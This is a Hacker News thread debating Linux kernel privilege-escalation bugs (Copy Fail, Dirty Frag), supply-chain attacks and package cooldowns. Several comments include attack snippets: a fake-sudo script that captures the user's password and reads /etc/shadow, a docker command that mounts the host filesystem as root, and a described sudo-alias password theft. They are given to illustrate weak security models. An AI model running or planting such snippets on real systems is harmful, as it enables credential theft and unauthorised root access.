12 ms·

Maybe you shouldn't install new software for a bit

854 points by psxuaw 5mo ago

rvz 5mo ago
If you are on Linux that is.
cyanydeez 5mo ago
[flagged]
- _--__--__ 5mo ago
  ? This is related to a vulnerability that was introduced to the Linux kernel in 2017.
- ChrisClark 5mo ago
  What?
femiagbabiaka 5mo ago
Yes, and, for non-personal machines or anything connected to the internet: now is a great time to get good at rolling out patches and new releases quickly.
- Gigachad 5mo ago
  The proof of concept code is out before patches are available for any distro.
  - femiagbabiaka 5mo ago
    Perhaps it's time to switch to paradigms that allow faster patch generation, application, and rollout... like Nix.
cookiengineer 5mo ago
Fun fact: You still can't build the vllm container with updated dependencies since llmlite got pwned. Either due to regression bugs, or due to impossible transient dependencies in the dependency tree that are not resolvable. There is just too much slopcode down the line, and too many dependencies relying on pinned outdated (and unpublished) dependencies. I switched to llama.cpp because of that. To me it feels more and more that the slopcode world is the opposite philosophy of reproducible builds. It's like the anti methodology of how to work in that regard. Before, everyone was publishing breaking changes in subminor packages because nobody adhered to any API versioning system standards. Now it's every commit that can break things. That is not an improvement.
- 2ndorderthought 5mo ago
  Write only code is such a bad bad idea. No one is reviewing 20k loc PRS with 15 new dependencies in an afternoon. Sorry it's just not happening I don't care how many years you have been a software engineer. Yet that's the new thing and how we all are supposed to work or else we are all Luddites.
  - perching_aix 5mo ago
    I'm personally waiting to be downgraded to simply being called "lazy". When I see pages of obviously generated prose being submitted as any kind of documentation, my eyes just glaze over. I feel so guilty sharing similar stuff too, though to my credit, at least I always lead with a self-written TLDR, the slop is just for reference. But it's so bad, like genuinely distressing tier. I don't want to read all that junk, and more and more gets produced. Prose type docs have always been my Achilles heel, and this is like the worst possible evolution of that. For a brief period in the past few weeks, they somehow managed to make a change to ChatGPT Thinking that made it succint. The tone was super fact oriented too. It was honestly like waking up from a fever dream.
- cybercatgurrl 5mo ago
  slopcode is a pejorative that means nothing to me. if you have an actual criticism to make, then do it
fkarg 5mo ago
the lottery of either getting a new supply-chain attack or the fixes from Mythos with every single update
cbarnes99 5mo ago
It really pisses me off that responsible disclosure timelines are being ignored.
- roxolotl 5mo ago
  The dirty frag repo says: > Because the responsible disclosure schedule and the embargo have been broken, no patch exists for any distribution. I had to do a double take reading that. It’s written something happened and prevented them from following a schedule but seemingly they chose to release the information. I hope I’m missing something where it was forcibly disclosed elsewhere. Edit: Moments later I refreshed the homepage and saw the announcement. They do claim to have consulted with maintainers
  - rafram 5mo ago
    > Due to external factors, the embargo has been broken, so no patch exists for any distribution. Very odd wording. I assume there’s an interesting/upsetting story here that will come out soon.
    - tom_ 5mo ago
      Presumably: * https://github.com/V4bel/dirtyfrag/blob/master/assets/write-up.md#disclosure-timeline https://github.com/V4bel/dirtyfrag/blob/master/assets/write-... * https://github.com/V4bel/dirtyfrag/blob/master/assets/write-up.md#disclosure-timeline-1 https://github.com/V4bel/dirtyfrag/blob/master/assets/write-...
- bellowsgulch 5mo ago
  if you don't already consider responsible disclosure a quaint idea, you may want to grow warm on it the idea that it exists at all is more or less a gentleman's agreement in the engineering world anyway
  - Root_Denied 5mo ago
    Less a gentleman's agreement and more of a question of economic incentives going away. Companies aren't paying out bounties at the rates they used to (possibly because they've realized there's little financial incentive to do so for most findings) and simultaneously they're being inundated with AI slop findings that somehow have to still be triaged and evaluated.
cperciva 5mo ago
Alternatively, switch to an operating system like FreeBSD which doesn't take a YOLO approach to security. Security fixes don't just get tossed into the FreeBSD kernel without coordination; they go through the FreeBSD security team and we have binary updates (via FreeBSD Update, and via pkgbase for 15.0-RELEASE) published within a couple minutes of the patches hitting the src tree. (Roughly speaking, a few seconds for the "I've pushed the patches" message to go out on slack, 10-30 seconds for patches to be uploaded, and up to a minute for mirrors to sync).
- eahm 5mo ago
  Also funny they never show Debian in those tests/videos.
  - juujian 5mo ago
    How so?
    - deleted 5mo ago
      [deleted]
      - deleted 5mo ago
        [deleted]
      - deleted 5mo ago
        [deleted]
  - cperciva 5mo ago
    Debian is probably the best of all the Linuxes, but still suffers from split-brain: If patches are sent upstream first, Debian can't start digesting them until they're already public. With FreeBSD there's never any question of "who should this get reported to".
    - JoshTriplett 5mo ago
      > Debian can't start digesting them until they're already public Not sure what you mean by this. Debian is able to handle coordinated disclosures (when they're actually coordinated), and get embargoed security updates out rapidly without breaking the embargo. Is there some other aspect of this that you're referencing?
throwaway613746 5mo ago
[dead]
AgentME 5mo ago
There's already an okay solution to supply-chain attacks against dependency managers like npm, PyPI, and Cargo: set them to only install package versions that are more than a few days old. The recent high-profile attacks were all caught and rolled back within a day, so doing this would have let you safely avoid the attacks. It really should be the default behavior. Let self-selected beta testers and security scanner companies try out the newest versions of packages for a day before you try them. Instructions: https://cooldowns.dev/ https://cooldowns.dev/
- b112 5mo ago
  So you get security updates late too? Many vulnerabilities are in the wild for years before being noticed, and patched. Once noticed, that's where the exploit explosion erupts, excited exploiters everywhere, emboldened... enticed... excessively encouraged, by your delayed updates.
  - ayuhito 5mo ago
    At least with our Renovate config, all dependencies have a 7 day cooldown, but marked security updates are immediate. Attackers can’t push a security update without going through the reporting process (e.g. Github CVE), so they can’t necessarily abuse that easily.
  - AgentME 5mo ago
    Presumably npm exempts security updates from its minimum release age, but even if it doesn't, I think the times where you need an important security update are relatively rare enough that handling the real cases on a case-by-case basis with whitelisting is fine. Outside of Next.js's React2Shell vulnerability last year, I'm not sure I've ever had a security update of a dependency written in a memory-safe language (ie. not C/C++) which I've installed through npm/PyPI/Cargo that patched a security vulnerability that had been making my application exploitable to others in practice. Almost all security vulnerabilities I've personally seen flagged through npm are about things I only use at build-time and are only relevant if a user can create and pass an arbitrary object to the function, which is rarely the case. Most security vulnerabilities I've encountered and fixed in working on web apps were things like XSS, SQL injections, and improperly enforced permissions, and they nearly always happened in the application's own code rather than inside a dependency.
mistyvales 5mo ago
Fedora upgrades have usually been great, but I jumped the gun on Fedora 44. Sound completely dead with no Pipewire service available. ALSA not responding. Firefox dies immediately if I open a new tab or right click anywhere on the browser itself (inlcuding nightly builds). QEMU refuses to load. Maybe something got completely f'd in the upgrade process.. I never had an issue before having upgraded from Fedora 38 all the way to 43. I am too tired to investigate it all. I know this is unrelated to the article, but related to the title.
- dralley 5mo ago
  I have had none of those issues on Fedora 44, FWIW.
  - senectus1 5mo ago
    ditto. my upgrade from 43 - 44 went very smooth
    - mistyvales 5mo ago
      Turns out it was a pipewire.conf file causing some sort of crash (nothing in logs show anything). If I remove that file, everything works. FYI this was on a laptop that began life from version 42. My main PC started out on 38 and has made it to 43 with no problems (including a motherboard swap).. will be updating to 44 this weekend.
- cevn 5mo ago
  I had a day 1 crashloop with KWin on the 2nd desktop, but on day 2 some package update fixed it. Honestly it isn't the first time Fedora upgrades have messed something up for me either but I do think it's more stable than the average Ubuntu release, not that I've upgraded ubuntu in like 5 yrs.
- circularfoyers 5mo ago
  If this is still the same install that you've been using since 38, you might find a clean install resolves some issues (whether or not your upgrade got botched). Also helps me get rid of software I installed that I don't use anymore, which I feel is relevant to this article. But part of why I love Silverblue so much is I don't have to worry about upgrades getting botched and fwiw as well, I haven't noticed any of those bugs on 44 across several very different machines.
jauntywundrkind 5mo ago
I do a bit wonder what happens as standard practice becomes to lag more and more and more. Who is there left that's looking, that'd finding out?
- cybercatgurrl 5mo ago
  you raise a really good point. if everyone is doing this at exactly the same lag then it will eventually start hitting groups in sync at the exact same time
- ayuhito 5mo ago
  I think there’s already a big market of supply chain security companies that are proactively scanning dependencies for this sort of thing. They’re always racing to be the first one to write an article about a case.
anymouse123456 5mo ago
For the newer players who have gotten into continuous integration and containerized builds, consider checking on your systems to be sure you're not pulling 'latest' across a bunch of packages with every build. We set up our base containers with all the external dependencies already in them and then only update those explicitly when we decide it's time. This means we might be a bit behind the bleeding edge, but we're also taking on a lot less risk with random supply chain vulns getting instant global distribution.
- anymouse123456 5mo ago
  You'll also find your CI build times and flakey failures can be cut down massively by doing this.
- pjmlp 5mo ago
  Additionally, use only internal repos.
- Melatonic 5mo ago
  Sounds like a good time to setup a test environment that does pull latest!
jbrooks84 5mo ago
100% doing this, sadly
0xbadcafebee 5mo ago
"Wait a week to install software" does not work. Just a few months ago a massive exploit hit the web, which was a timed attack which sat for more than a month before executing. If everyone starts waiting a week, their exploits will wait 2 weeks. Cyber criminals do not need to exploit you immediately, they just need to exploit you. (It also doesn't change a large range of vuln classes like typosquatting)
- fny 5mo ago
  This is why cooldowns have space for patches.
- tom_alexander 5mo ago
  I think the author was suggesting "wait a week" as a one-time wait for fixes to be written and patches distributed for these specific prematurely-disclosed vulnerabilities, not an on-going suggestion for delaying all updates. But otherwise I agree with you.
  - xena 5mo ago
    Yep, that was my intent.
    - Barbing 5mo ago
      Oh! Not GP but skimmed too quickly
- gpm 5mo ago
  I think you misunderstood the article. The proposal isn't wait a week after Software has been published before installing it. It's in the next seven days starting now, just don't, because you probably don't have patches for these vulnerabilities and even if you do there's probably more scary vulnerabilities about to be discovered.
  - hnfong 5mo ago
    I think it's even more specific. From TFA: > Right now would be one of the best times for a supply chain attack via NPM to hit hard. Given the local kernel root exploits, people pulling npm dependencies have an extra high chance of getting rooted. This includes test systems, build systems, the web server running node.js backend, etc. etc. etc. This means that there is a significantly greater chance that whatever software you download (not necessarily npm-based) on the internet in these couple days has been unknowingly infected with backdoors, simply due to the fact that the vast majority of servers out there that use npm code have easily exploitable vulnerabilities.
q3k 5mo ago
You don't need a kernel LPE to root a Linux developer machine. Just alias sudo to sudo-but-also-keep-password-and-execute-a-payload in ~/.bashrc and wait up to 24 hours. Maybe also simulate some breakage by intercepting other commands and force the user to run 'sudo systemctl' or something sooner rather than later.
- himata4113 5mo ago
  this, this is something I don't understand there are a billion ways to gain root once you control the user that regulary uses sudo. this is only scary for rootless containers as it skips an isolation layer, but we've started shipping distroless containers which are not vulnerable to this due to the fact that they lack priviledge escalation commands such as su or sudo. never trust software to begin with, sandbox everything you can and don't run it on your machine to begin with if possible.
  - TacticalCoder 5mo ago
    > this, this is something I don't understand there are a billion ways to gain root once you control the user that regulary uses sudo. I won't enter into all the details but... It's totally possible to not have the sudo command (or similar) on a system at all and to have su with the setuid bit off. On my main desktop there's no sudo command there are zero binaries with the setuid bit set. The only way to get root involves an "out-of-band" access, from another computer, that is not on the regular network [1]. This setup as worked for me since years. And years. And I very rarely need to be root on my desktop. When I do, I just use my out-of-band connection (from a tiny laptop whose only purpose is to perform root operations on my desktop). For example today: I logged in as root blocked the three modules with the "dirty page" mitigation suggested by the person who reported the exploit. You're not faking sudo with a mocking-bird on my machine. You're not using "su" from a regular user account. No userns either (no "insmod", no nothing). Note that it's still possible to have several non-root users logged in as once: but from one user account, you cannot log in as another. You can however switch to TTY2, TTY3, etc. and log in as another user. And the whole XKCD about "get local account, get everything of importance", ain't valid either in my case. I'm not saying it's perfect but it's not as simple as "get a local shell, wait until user enters 'sudo', get root". No sudo, no su. It's brutally simple. And, the best of all, it's a fully usable desktop: I'm using such a setup since years (I've also got servers, including at home, with Proxmox and VMs etc., but that's another topic).
marcus_holmes 5mo ago
This was always a nightmare waiting to happen. The sheer mass of packages and the consequent vast attack surface for supply chain attacks was always a problem that was eventually going to blow up in everyone's face. But it was too convenient. Anyone warning about it or trying to limit the damage was shouted down by people who had no experience of any other way of doing things. "import antigravity" is just too easy to do without. Well, now we're reaching the "find out" part of the process I guess.
- amelius 5mo ago
  lim (num_packages_in_system -> inf) p(successful_supply_chain_attack) = 1
- tclancy 5mo ago
  So, to play Pandora, what if the net effect of uncovering all these unknown attack vectors is it actually empties the holsters of every national intelligence service around the world? Just an idea I have been playing with. Say it basically cleans up everything and everyone looking for exploits has to start from scratch except “scratch” is now a place where any useful piece of software has been fuzz tested, property tested and formally verified. Assuming we survive the gap period where every country chucks what they still have at their worst enemies, I mean. I suppose we can always hit each other with animal bones.
  - xingped 5mo ago
    TBH this is a pretty good way of looking at it. Yeah we're seeing an explosion of vulnerabilities being found right now, but that (hopefully) means those vulnerabilities are all being cleaned up and we're entering a more hardened era of software. Minus the software packages that are being intentionally put out as exploits, of course. Maybe some might say it's too optimistic and naive, but I think you have a good point.
    - anankaie 5mo ago
      To be fair, to some extent that’s up to us. Time to get cleaning, I guess.
KevinMS 5mo ago
I got rid of half of my VSCode extensions a couple days ago, its too risky.
- BobbyTables2 5mo ago
  Those things scare the crap out of me… Even worse are the “extension packs” that combine some normal things and one wonky thing nobody’s ever heard of…
andai 5mo ago
Can someone help me understand the copyfail thing and how it relates to NPM packages? Edit: I think I understand. copyfail is a kernel bug that lets a malicious npm package get root access on your Linux server, right? So now, while there are unpatched servers, is when it would be the perfect time for attackers to target NPM packages. And the advice isn't just "update your kernel" because we are still finding new related issues?
- xena 5mo ago
  npm can run on linux.
- ahpeeyem 5mo ago
  NPM supply-chain attacks spread really quickly. If a popular NPM package was compromised and included a copy.fail exploit, it would make lots of systems vulnerable to root privilege escalation.
- wavemode 5mo ago
  > And the advice isn't just "update your kernel" because we are still finding new related issues? The advice isn't just "update your kernel" because there is no update. The latest vulnerability (the one discovered after copy.fail) still has no fix.
- Gigachad 5mo ago
  The patches for the latest vulnerabilities aren’t even out yet. So it would be a real bad time for a new supply chain attack since it would get root on pretty much every system.
infrapilot 5mo ago
[flagged]
leonidasv 5mo ago
The post is about Linux vulnerabilities, but given the recent supply chain attacks, I'd be especially careful with Homebrew: https://x.com/i/status/2052106143271354859 https://x.com/i/status/2052106143271354859
- nomilk 5mo ago
  Often convenience and security are at odds, but `export HOMEBREW_NO_AUTO_UPDATE=1` is more convenient and more secure.
  - cromka 5mo ago
    Problem here is Brew does things in an anti-unix way by default, the auto updating of packages being the prominent reason. I personally switched away from macOS with this being one of the reasons, after having realized brew will eventually compromise my system with their antics.
infrapilot 5mo ago
[flagged]
- arc-in-space 5mo ago
  Blatant bot
foo12bar 5mo ago
Don't install anything, use an LLM to write everything from scratch. It may have bugs, but no one will know how to exploit them, especially when closed source. Code is cheap and is becoming cheaper by the day. We need new paradigms.
- randyrand 5mo ago
  Next: the back doors are written by the LLM!
  - foo12bar 5mo ago
    You think we are doing well against back doors right now? Pfft.
- Gigachad 5mo ago
  LLMs have been used to scan binary blobs for exploits already. What would be more effective is a system designed with multiple layers of security so any one exploit is largely useless.
  - foo12bar 5mo ago
    They would have to have access to and scan your individual binary. You'd have to describe how you can write a system with multiple layers of security generally for most problems, because I don't see that as being possible.
- Wilder7977 5mo ago
  So no external libraries for anything? Billions of lines of code that duplicate the same thing n-times across an organization? And the benefit is the obscurity of "no one will know how to exploit them"? No, thanks.
  - foo12bar 5mo ago
    Code is becoming so cheap that all you need is a bunch of api's for hardware and your computer will build to that spec. And you can define it in natural language.
golem14 5mo ago
This gets me to ask whether I have been hacked . For a few weeks now, both my main mbp and iPhone have been showing unexpected hangs of 1-30 seconds. I can’t find out what’s causing it - not memory pressure, not cpu load. I am worried that the sluggishness appeared about the same time on both devices
- Gigachad 5mo ago
  For ios, rebooting your phone is extremely effective at removing exploits. The boot chain attestation stuff can verify the system is in a known state. If you are ultra paranoid you could enable lockdown mode which preemptively disables the entrypoints for exploits. So far I don't believe there has been any exploit which works with lockdown mode enabled.
  - Georgelemental 5mo ago
    If you are already exploited though, I doubt it helps
    - Gigachad 5mo ago
      It does though, the exploit exists in memory. When you reboot the phone the memory is reset, if it's modified system files, the checksums won't pass and your phone will refuse to boot. Requiring it to be wiped and reinstalled. These days most exploits can not persist through a reboot due to secureboot and other bootchain attestations. In the boot process, everything loaded gets checksummed and compared to signed signatures from Apple, but this only helps at load time, not while the phone is running. Of course if the phone is not patched, the exploit could be reloaded, but this would require revising a malicious website or reopening a malicious bit of media.
      - Georgelemental 5mo ago
        Sorry, I was referring to Lockdown Mode specifically, should have clarified that
    - 5mo ago
Animats 5mo ago
I'm holding off on upgrading to Ubuntu 26.04 LTS until we have a few months of experience with the new release. Canonical just had a huge DDOS attack, and there might have been other attacks hidden in all that traffic.
- turpentine 5mo ago
  There are at least two recent negative signals. https://news.ycombinator.com/item?id=47943499 https://news.ycombinator.com/item?id=47943499 - 44 CVEs trying to replace coreutils with a greenfield rust rewrite. https://news.ycombinator.com/item?id=47921079 https://news.ycombinator.com/item?id=47921079 - Shoehorning AI stuff into Ubuntu is the future.
xbar 5mo ago
It seems like this round of vulns is going to be significant. What is the right response?
- Gigachad 5mo ago
  Personally I'm choosing to keep my home server behind a VPN and to enable Lockdown Mode on my phone and laptop for a while until the dust settles. As well as just limiting the software installed to trusted projects only. VM isolation would still be safe even with these kernel exploits.
marvinified 5mo ago
I've been doing alot of that lately
chubs 5mo ago
To mitigate supply chain attacks like this, I've taken to specifying exact versions in my Rust cargo.toml, and when importing new crates, select the previous-to-latest version. Is this a reasonable mitigation? It bugs me that Swift deprecates the concept of specifying exact versions, it actively pushes you towards semver which leaves the door open to this.
- mattstir 5mo ago
  > select the previous-to-latest version For supply chain attacks that simply bide their time, or for dependencies which involve interacting with other subsystems, it's possible you miss a critical security update by doing this. Of course, the maintainers of the crates should yank known bad releases, but that's putting trust in a third-party that may have already been compromised.
- kam 5mo ago
  Cargo will still pick the latest for transitive dependencies that aren't explicitly specified in your Cargo.toml. This is what Cargo.lock is for.
  - chubs 5mo ago
    Oh good point, I didn't think of transitive dependencies. A lot of languages i've worked with unfortunately have a 'do not check in the lockfile' culture, and a common 'blow away the lockfile when the package manager gets stuck' workflow, so that does concern me. Perhaps Cargo is better than average though, and the lockfile never needs nuking, providing this safety. This sounds like a good reason to check in the lockfile! Thanks for the response.
tdeck 5mo ago
> Copy Fail 2: Electric Boogaloo What are people thinking with these meme style vulnerability names? It's going to be hard to pitch "we need to push back the timeline on this new infrastructure deploy while we mitigate Copy Fail 2: Electric Boogaloo".
- dgellow 5mo ago
  "we need to push back the timeline on this new infrastructure deploy while we mitigate Copy Fail 2". Problem solved
rablackburn 5mo ago
Literally implemented PR guards today to prevent the team merging any dependencies that didn’t have explicit versions pinned (and that matched the resolution in the lock file). People lamented semver not being trustable but that ship sailed a long time ago, and supply chain attacks are going to get worse before they get better. Our team is pretty minimal when it comes to enforced hooks (everyone has their own workflow) but no one could come up with an objection to this one.
- clbrmbr 5mo ago
  Wouldn’t you prefer to pin to SHA hashes? Or does your package manager cloud-side ensure immutability of releases?
pjmlp 5mo ago
Remember the whole discussion when UNIX was supposed to not need anti-virus and talking down PCs? Behaviours matter more than OS security primitives.
- jeroenhd 5mo ago
  The whole (mistaken) belief that Linux and macOS didn't require AV was based on the execute bit being present, something Microsoft fixed back in XP by making downloaded files as such and preventing them from being opened trivially. If you have code execution, you can attack the OS.
  - pjmlp 5mo ago
    Indeed, when one installs dependencies all over the Internet, or even better, key projects use "curl --proto '=https' --tlsv1.2 -sSf https://sh.rustup.rs https://sh.rustup.rs | sh" as default suggestion on how to install them, attackers have the work done for them.
    - 1718627440 5mo ago
      > key projects use "curl --proto '=https' --tlsv1.2 -sSf https://sh.rustup.rs https://sh.rustup.rs | sh" as default suggestion This is exactly why some (including me) don't take these projects seriously. Like you claim to design a language for security, and this is how you tell me to install it????
      - TeamDman 5mo ago
        What alternative do you propose for downloading binaries off the internet, placing them in the "right spot" and doing post-install operations like updating PATH that dont have gotchas equivalent to running "untrusted" code like curl|sh?
        1718627440 5mo ago
        The one that is the norm on Linux distros and on nearly all mobile OSs: signed packages. 'curl | sh' doesn't even allow to observe the package while or after installing.
liamwei 5mo ago
[flagged]
leonidasrup 5mo ago
Maybe the new software should not have any errors. I know, I have higher expectations than the average commercial software customer.
- Jean-Papoulos 5mo ago
  Of course, why didn't anyone think of that ? I bet if someone started to ship software that has no errors they'll make a huge amount of money, especially from all the people that are security-minded ! Please grow a brain.
  - leonidasrup 5mo ago
    There is currently only method to prove absence of errors, this method is not LLMs, it's formal verification methods. Currently only very little formal verification is used in software industry, static type checking.
bicepjai 5mo ago
I still can’t believe people are ok with software updates every day. Looking at you Claude code
- sshine 5mo ago
  It's a two-edged sword. You're damned if you do and damned if you don't update.
tjansen 5mo ago
I wonder whether there is any tool that can prevent npm from downloading any package that has been published in the last month. While I miss out on possible fixes, this would prevent downloading some 3rd level dep that takes over my machine.
- lmiller1990 5mo ago
  pnpm has this, I think others may also have something similar. https://pnpm.io/settings#minimumreleaseage https://pnpm.io/settings#minimumreleaseage
- janekies 5mo ago
  pnpm has added a new setting, minimumReleaseAge, enabled by default, just to try to mitigate these issues.
- backwardsponcho 5mo ago
  NPM seems to have introduced the flag `minimumReleaseAge` for this exact purpose. However even though are many recent references to it[0][1][2] I don't see it anywhere in the NPM documentation. [0] https://news.ycombinator.com/item?id=47513932 https://news.ycombinator.com/item?id=47513932 [1] https://github.com/npm/cli/issues/8570 https://github.com/npm/cli/issues/8570 [2] https://socket.dev/blog/npm-introduces-minimumreleaseage-and-bulk-oidc-configuration https://socket.dev/blog/npm-introduces-minimumreleaseage-and...
eskibars 5mo ago
"If it ain't broke, don't fix it" is its own area of risk that people often ignore
- creesch 5mo ago
  Except that a lot of software likely is already broken in fun ways we currently don't know about. That is what makes it such a "fun" challenge. Supply chain attacks are one thing, but CVEs in already released software allowing other attackers are another. As always, I know most of us work in IT, but things rarely are actually binary.
grayhatter 5mo ago
I dislike FUD like this :/
1a527dd5 5mo ago
This applies to much more than just software, in fact it applies to almost everything. I don't remember where I read it, but it basically boils down to need vs want. I've used that rule for deciding between a new car or used. A fancy vacuum or basic. A shiny new gadget. Bringing new things into the tech stack. Picking a new tech stack.
vga1 5mo ago
Maybe you should install new kernels at least though.
metaengies 5mo ago
Actively destructive opinion article. I could not begin to understand the rationale. It takes 45 seconds to go check how old the copyfail and dirtyfrag vulnerabilities actually are. Which is longer than it takes to read TFA. Dirtyfrag may be relevant to systems from as far as 2017. It's not "new" software being affected. And actual old software is in a much worse state because we had a lot more time to find their problems.
- smallpipe 5mo ago
  OP is suggesting that a supply chain attack would be bad now, and to reduce that risk by not installing/updating NPM packages.
- pocksuppet 5mo ago
  FYI copyfail and dirtyfrag are the same vulnerability activated by two different code paths. It's as if Windows had a vulnerability triggered by writing a certain string to a file. Copyfail is to write the string to a file. Dirtyfrag is to get another program to write the string to a file. When you fix the vulnerability - make sure nothing strange happens when the string is written - both go away at the same time.
yurug 5mo ago
At some point, some people will rebuild an entire stack (all layers, from OS to applications) with proof carrying code upgrades. Proof-code co-design and co-construction is the only way to execute code that you can trust.
mastermage 5mo ago
I think what we have to start accepting even security experts is that our world is incredibly fragile. I think people realy understimate this. And I do not mean just the IT world but the entire world is built on many incredibly fragile balances. Security Exploits will always exist. Not just in software but in real life. Heck someone managed to Sneak into a Security Conference. And that guy was a random youtuber. Granted that was not like a high security thing. But thats just an example I had of the top of my head. Basically it is realy easy to circumvent security in most cases. What I want to say with that is fundamentally our world works because atleast most people do not abuse shit. That is fundamentally how human society has always worked, and will likely continue to do so.
- kaelyx 5mo ago
  I remember there was a trend with some UK Influencers using some "Ladder and a High-vis" tricks to enter places for a while to show how rough physical security is [0]. I believe its the youtuber, Max Fosh, who managed to do it back to back at the International Security Expo, first in the UK [1] and then in the US [2], with the fake names 'Rob Banks' and 'Nick Everything'. I've studied security culture before and in most cases everything comes down to a sliding scale with security on one side and convenience/accessibility on the other, the more secure something is, the less accessible it is and vice versa. [0] https://www.youtube.com/watch?v=LTI0SeyhAPA https://www.youtube.com/watch?v=LTI0SeyhAPA [1] https://www.youtube.com/watch?v=qM3imMiERdU https://www.youtube.com/watch?v=qM3imMiERdU [2] https://www.youtube.com/watch?v=NmgLwxK8TvA https://www.youtube.com/watch?v=NmgLwxK8TvA
royaldependent 5mo ago
[dead]
fsflover 5mo ago
Alternatively, consider using Qubes OS, which isolates untrusted software using strong hardware virtualization. My daily driver, can't recommend it enough. Examples of usage patterns: https://doc.qubes-os.org/en/r4.3/user/how-to-guides/how-to-organize-your-qubes.html https://doc.qubes-os.org/en/r4.3/user/how-to-guides/how-to-o...
alecco 5mo ago
Or disable algif_aead module as in https://news.ycombinator.com/item?id=47957409 https://news.ycombinator.com/item?id=47957409
- JetSetIlly 5mo ago
  That's not enough in this case. The suggested mitigation according to the Dirty.Frag github page is to blacklist esp4, esp6 and rxrpc
  - alecco 5mo ago
    Thanks. Discussion https://news.ycombinator.com/item?id=48054182 https://news.ycombinator.com/item?id=48054182
Luker88 5mo ago
Dammit, this is why nobody uses NixOS. Nothing works on it! The copyFail didn't, the dirtyfrag doesn't. This copfail2 does modify /etc/passwd, but I can't `su - sick` as expected. /s
- Luker88 5mo ago
  sligtly unrelated, but the portable way to execute stuff is via `/usr/bin/env`, not `/bin/bash`. I did try fixing the path to use nixos paths, but it was still unsuccessful. Did not really check further.
CriticalRegion 5mo ago
This is a baffling take.. These exploits are local privilege escalations for linux systems. They'll allow an attacker with a foothold in a shared environment or with low privilege access to a system to affect the rest of the system. They aren't RCEs and won't let attackers access environments that they couldn't before other than the shared hosting scenarios. That is absolutely not how most supply chain attacks are carried out. Most supply chain attacks are performed via credential theft and social engineering. The more sophisticated ones are APT style attacks like the Solarwinds one (which were carried out by organisations that would already have exploits like these) or more creative stuff like the Shai-Hulud fiasco. All of these options existed before these LPEs. If you're worried about supply chain attacks you've been worried for longer than Mythos has been out. Not updating your software is never good security advice.
- Phelinofist 5mo ago
  Either my reading of your comment is wrong or you misunderstood the supply chain comment by OP I think: what they mean is that a supply chain attack that gets the exploit on a system would be great now because the reported vulns are unfixed pretty much everywhere
  - CriticalRegion 5mo ago
    No, you read it right. I just misunderstood the post's message as "these exploits will enable more supply chain attacks". I'll probably delete my comment since it's debating a strawman. It is absolutely right that these exploits might enable these attacks to have a larger impact. I still don't think that I agree with the message since a malicious npm package already installed can get its payloads from a C2 server, it doesn't need an npm update.
    - Phelinofist 5mo ago
      > since a malicious npm package already installed can get its payloads from a C2 server, it doesn't need an npm update In general I agree, but I think these two vulns are 0day-y and pretty much every major distro is affected AFAIU, so there is perhaps slightly more potential than usual
mobeigi 5mo ago
I saw a recent post about only adopting packages a certain number of days post release (say +3 days, or +7 days) after. The idea is you never bring in fresh commits, only older ones. This would need dangerous or bad commits to be marked vulnerable too. It means you skip supply chain attacks but may miss fresh vulnerability patches too.
- mattstir 5mo ago
  You only miss supply chain attacks that are eager to begin exploiting. If everyone begins waiting a week to update dependencies, attackers just need to wait 2 weeks before actively using their attack vectors.
ptrl600 5mo ago
What if it's a really good bit?
antonyh 5mo ago
"Don't update your systems for a while" is exactly what an attacker would say. If you can't trust your update sources, you have bigger problems.
- moffkalast 5mo ago
  If I'm being really frank, are system updates not more disruptive, destructive and result in more data loss and downtime than all the attacks you'll experience in your lifetime? (unless you're a high value business target ofc, I'm talking for personal machines) In my book, having unattended-upgrades or windows update run amok on your system is functionally worse than a rootkit.
  - antonyh 5mo ago
    This. Lost hours from the hours running the updates, lost hours from the occasional faulty upgrade, and every now and again it's fail spectacularly and need a restore from backup to return to productivity. No matter if it's Ubuntu LTS or non-LTS, every six months there's always something radically changed. OpenSUSE Leap has the same problem. I'm looking at Tumbleweed but a new version every week is going to break occasionally. Gentoo build-from-source is going to have weirdness every now and again, if not utter ruin. MacOS updates yearly, and brings horrors with every point zero release. Windows is Windows, and those problems are well known. I don't think there's a way around it with the current offerings. It's a problem we have to live with for the sake of progress and for security updates. Every machine needs downtime for maintenance on a periodic, often-scheduled basis. It might cost time but avoiding updates is not a good plan. Aside from dodgy updates that have to run as root to install, if you have passwordless sudo it's more dangerous than any broken package or local-only privilege escalation exploit. I'll wager many have it set up that way, because typing passwords is tiresome.
  - Melatonic 5mo ago
    This is why you always have a test environment and good, tested backups that are easy and quick to roll back to. Even if something makes it past test (or there is an install problem with a patch that is otherwise fine) you can just roll back. For personal machines without those resources you are a bit of a hard place - although many OS and software these days have long term stable versions and the ability to defer auto patches by a week or two
bitfilped 5mo ago
Am I missing part of the article? This seems like 2 sentences saying "don't install anything cause some Linux LPEs came out." I don't understand why this is on the frontpage of HN.
- xena 5mo ago
  As the author of it I'm as confused as you are. It's frontpage number 68 for me, next time is ultimate nice.
ElenaDaibunny 5mo ago
[dead]
sergeykish 5mo ago
Linux distributions do not need Copy Fail to get root access: echo 'export PATH="$HOME/.local/bin:$PATH"' >> ~/.bashrc mkdir -p .local/bin/ cat <<EOF >.local/bin/sudo read -rs -p "[sudo] password for $USER: " PASSWORD echo "" echo "$PASSWORD" | /usr/bin/sudo -S head /etc/shadow EOF chmod +x .local/bin/sudo attack on next sudo call, shows data accessible only to root. Our security model based on distributions verifying packages, that is distro maintainers. Software we can't trust should be running in VMs. Attack on trivy is just the beginning and solution is removing pip, uv, npm, rbenv from host, running in docker containers: $ docker run -it -v.:/app -w /app node:alpine /bin/sh long term environments defined in docker compose: $ docker-compose.yml services: app: image: node:alpine volumes: - .:/app working_dir: /app command: /bin/sh $ docker compose run app switch to Kata etc if more protection needed. Eventually all userspace would run in VMs.
- quectophoton 5mo ago
  If `docker` is already there, why even bother with `sudo` when you can just: docker run --rm -it -v '/:/mnt' -u 'root' 'alpine' '/bin/sh' '-l' Chances are that the person who set up Docker didn't do it properly.
  - sergeykish 5mo ago
    Run in docker container: $ docker run -it -v.:/app -w /app node:alpine /bin/sh /app # docker run --rm -it -v '/:/mnt' -u 'root' 'alpine' '/bin/sh' '-l' /bin/sh: docker: not found I've described attack from host user and isolating attacker with docker.
- kro 5mo ago
  These copyfail exploits allow an unprivileged (daemon/app) user (not in sudoers) to get root without interaction from the original system maintainer. It's quite different from PATH-injecting an already privileged user. Also, these memory corruptions can likely be used as container escape primitives too. Albeit not easily. It's a serious break of a security boundary. Yes, container layer adds defense, and normal unix security isn't perfect, but it should not allow this.
bsenftner 5mo ago
This is why I avoid the entire JavaScript shitshow that is NPM and all that ecosystems nonsense. The population of users do not have the secondary considerations to be trusted, there will always be someone that does the worse and talks too many into following them. Then the "best practices" produce failures. What a shit show.
